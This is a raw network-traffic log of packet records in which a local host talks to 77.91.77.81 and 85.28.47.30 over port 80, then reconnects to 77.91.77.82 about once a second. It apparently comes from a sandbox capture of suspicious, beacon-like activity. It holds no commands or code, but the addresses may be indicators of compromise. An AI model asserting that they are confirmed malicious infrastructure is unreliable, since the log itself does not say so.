Jul 5, 2024 06:23:16.467096090 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467099905 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467104912 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467116117 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467119932 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467123032 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467132092 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467138052 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467147112 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467165947 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467176914 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467205048 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467211008 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467221975 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467226982 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467231989 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467238903 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467243910 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467248917 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467248917 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467262030 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467267036 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467278004 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467292070 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467312098 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467365026 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467370987 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467381954 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467386007 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467402935 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467408895 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467418909 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467418909 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467426062 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467432976 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467446089 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467456102 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467469931 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467494011 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467535019 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467540979 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467551947 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467556953 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467562914 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467567921 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467577934 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467585087 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467605114 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467674017 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467679977 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467688084 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467691898 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467703104 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467713118 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467727900 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467802048 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467808962 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467818022 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467848063 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467942953 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467947006 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467958927 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467964888 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467968941 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467974901 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467979908 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.467988968 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.467999935 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468007088 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.468007088 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468019009 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.468023062 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468029976 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468041897 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468046904 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468048096 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.468053102 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468070984 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.468091965 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.468106985 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468121052 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468126059 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468135118 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468142033 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.468151093 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468156099 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468168020 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.468168974 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468174934 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468187094 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.468197107 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.468216896 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.504018068 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.504065990 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.504163027 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:19.214618921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:19.214709997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:22.332499981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:22.333940983 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:24.241683960 CEST	51497	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:24.246669054 CEST	80	51497	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:24.249085903 CEST	51497	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:24.250521898 CEST	51497	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:24.255419016 CEST	80	51497	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:24.963637114 CEST	80	51497	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:24.963788033 CEST	51497	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:24.965913057 CEST	51497	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:24.970642090 CEST	80	51497	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:25.203444958 CEST	80	51497	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:25.203514099 CEST	51497	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:25.307696104 CEST	51497	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:25.308116913 CEST	51498	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:25.313293934 CEST	80	51497	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:25.313313961 CEST	80	51498	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:25.313353062 CEST	51497	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:25.313410044 CEST	51498	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:25.313576937 CEST	51498	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:25.318289995 CEST	80	51498	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:26.051619053 CEST	80	51498	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:26.051703930 CEST	51498	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:26.052484989 CEST	51498	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:26.057378054 CEST	80	51498	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:26.279643059 CEST	80	51498	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:26.279710054 CEST	51498	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:26.385782957 CEST	51498	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:26.386137962 CEST	51499	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:26.390952110 CEST	80	51499	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:26.391027927 CEST	51499	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:26.391195059 CEST	80	51498	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:26.391222954 CEST	51499	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:26.391252995 CEST	51498	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:26.396908045 CEST	80	51499	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:27.102061987 CEST	80	51499	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:27.105120897 CEST	51499	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:27.112283945 CEST	51499	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:27.117376089 CEST	80	51499	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:27.333010912 CEST	80	51499	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:27.333085060 CEST	51499	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:27.495194912 CEST	51499	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:27.495556116 CEST	51500	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:27.501104116 CEST	80	51500	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:27.501247883 CEST	51500	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:27.501421928 CEST	51500	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:27.502434969 CEST	80	51499	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:27.502521992 CEST	51499	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:27.515888929 CEST	80	51500	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:28.207847118 CEST	80	51500	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:28.207927942 CEST	51500	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:28.208863974 CEST	51500	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:28.214627028 CEST	80	51500	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:28.426925898 CEST	80	51500	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:28.429183960 CEST	51500	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:28.542058945 CEST	51500	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:28.542356014 CEST	51501	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:28.547357082 CEST	80	51500	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:28.547374010 CEST	80	51501	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:28.547449112 CEST	51500	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:28.547511101 CEST	51501	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:28.547617912 CEST	51501	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:28.552587986 CEST	80	51501	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:29.257324934 CEST	80	51501	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:29.257381916 CEST	51501	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:29.258419037 CEST	51501	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:29.263197899 CEST	80	51501	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:29.480097055 CEST	80	51501	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:29.480154037 CEST	51501	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:29.588979959 CEST	51501	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:29.589294910 CEST	51502	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:29.594157934 CEST	80	51502	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:29.594265938 CEST	51502	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:29.594481945 CEST	51502	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:29.594490051 CEST	80	51501	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:29.594543934 CEST	51501	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:29.599320889 CEST	80	51502	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:30.333173990 CEST	80	51502	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:30.333260059 CEST	51502	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:30.334130049 CEST	51502	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:30.339756012 CEST	80	51502	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:30.567550898 CEST	80	51502	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:30.567667961 CEST	51502	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:30.682683945 CEST	51502	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:30.683042049 CEST	51503	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:30.687848091 CEST	80	51502	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:30.687860012 CEST	80	51503	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:30.687944889 CEST	51502	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:30.687993050 CEST	51503	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:30.688086987 CEST	51503	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:30.692845106 CEST	80	51503	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:31.389122963 CEST	80	51503	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:31.389203072 CEST	51503	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:31.389950037 CEST	51503	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:31.394808054 CEST	80	51503	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:31.606811047 CEST	80	51503	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:31.606856108 CEST	51503	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:31.713764906 CEST	51503	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:31.714096069 CEST	51504	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:31.720088959 CEST	80	51504	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:31.720099926 CEST	80	51503	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:31.720196009 CEST	51503	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:31.720314980 CEST	51504	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:31.720314980 CEST	51504	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:31.726515055 CEST	80	51504	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:32.448474884 CEST	80	51504	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:32.448642015 CEST	51504	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:32.466368914 CEST	51504	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:32.471236944 CEST	80	51504	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:32.695355892 CEST	80	51504	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:32.695542097 CEST	51504	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:32.809647083 CEST	51504	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:32.809954882 CEST	51505	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:32.814759016 CEST	80	51505	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:32.814834118 CEST	51505	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:32.814934969 CEST	51505	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:32.815320015 CEST	80	51504	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:32.815373898 CEST	51504	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:32.819850922 CEST	80	51505	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:33.530674934 CEST	80	51505	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:33.530755997 CEST	51505	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:33.531599045 CEST	51505	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:33.536323071 CEST	80	51505	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:33.748312950 CEST	80	51505	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:33.748471022 CEST	51505	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:33.854563951 CEST	51505	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:33.855045080 CEST	51506	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:33.859605074 CEST	80	51505	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:33.859664917 CEST	51505	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:33.859846115 CEST	80	51506	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:33.859919071 CEST	51506	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:33.860085011 CEST	51506	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:33.864823103 CEST	80	51506	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:34.571475029 CEST	80	51506	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:34.571562052 CEST	51506	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:34.572385073 CEST	51506	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:34.577157974 CEST	80	51506	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:34.798130989 CEST	80	51506	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:34.798295975 CEST	51506	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:34.901457071 CEST	51506	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:34.901870012 CEST	51507	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:34.907574892 CEST	80	51507	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:34.907601118 CEST	80	51506	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:34.907697916 CEST	51506	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:34.907717943 CEST	51507	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:34.907982111 CEST	51507	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:34.914705038 CEST	80	51507	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:35.613872051 CEST	80	51507	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:35.613944054 CEST	51507	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:35.614675999 CEST	51507	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:35.619529963 CEST	80	51507	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:35.838215113 CEST	80	51507	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:35.838313103 CEST	51507	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:35.948355913 CEST	51507	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:35.948751926 CEST	51508	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:35.954197884 CEST	80	51508	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:35.954277039 CEST	51508	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:35.954418898 CEST	51508	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:35.954665899 CEST	80	51507	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:35.954718113 CEST	51507	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:35.959448099 CEST	80	51508	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:36.656893015 CEST	80	51508	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:36.657047987 CEST	51508	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:36.657923937 CEST	51508	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:36.662683964 CEST	80	51508	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:36.880367994 CEST	80	51508	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:36.880466938 CEST	51508	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:36.995143890 CEST	51508	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:36.995522022 CEST	51509	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:37.000348091 CEST	80	51508	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:37.000361919 CEST	80	51509	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:37.000442028 CEST	51508	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:37.000502110 CEST	51509	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:37.000718117 CEST	51509	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:37.005590916 CEST	80	51509	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:37.704816103 CEST	80	51509	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:37.704936028 CEST	51509	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:37.705857038 CEST	51509	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:37.710757017 CEST	80	51509	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:37.928374052 CEST	80	51509	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:37.928550005 CEST	51509	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:38.042115927 CEST	51509	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:38.042320013 CEST	51510	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:38.047112942 CEST	80	51510	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:38.047189951 CEST	51510	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:38.047226906 CEST	80	51509	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:38.047271967 CEST	51509	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:38.047384977 CEST	51510	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:38.052081108 CEST	80	51510	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:38.758116961 CEST	80	51510	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:38.758304119 CEST	51510	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:38.759185076 CEST	51510	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:38.763978958 CEST	80	51510	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:38.982764959 CEST	80	51510	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:38.982837915 CEST	51510	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:39.089134932 CEST	51510	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:39.089485884 CEST	51511	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:39.094299078 CEST	80	51511	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:39.094312906 CEST	80	51510	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:39.094364882 CEST	51511	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:39.094408035 CEST	51510	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:39.094569921 CEST	51511	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:39.099338055 CEST	80	51511	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:39.794792891 CEST	80	51511	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:39.794877052 CEST	51511	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:39.795557976 CEST	51511	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:39.800333023 CEST	80	51511	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:40.012967110 CEST	80	51511	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:40.013039112 CEST	51511	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:40.120115042 CEST	51511	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:40.120461941 CEST	51512	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:40.125348091 CEST	80	51512	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:40.125427008 CEST	51512	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:40.125483036 CEST	80	51511	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:40.125518084 CEST	51512	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:40.125529051 CEST	51511	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:40.130371094 CEST	80	51512	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:40.830584049 CEST	80	51512	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:40.830668926 CEST	51512	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:40.831465960 CEST	51512	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:40.836227894 CEST	80	51512	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:41.059142113 CEST	80	51512	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:41.059252024 CEST	51512	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:41.168898106 CEST	51512	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:41.169215918 CEST	51513	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:41.173996925 CEST	80	51513	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:41.174072981 CEST	51513	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:41.174181938 CEST	51513	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:41.174195051 CEST	80	51512	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:41.174252033 CEST	51512	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:41.178915977 CEST	80	51513	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:41.879477024 CEST	80	51513	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:41.879573107 CEST	51513	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:41.880263090 CEST	51513	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:41.885025024 CEST	80	51513	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:42.103782892 CEST	80	51513	77.91.77.82	192.168.2.7
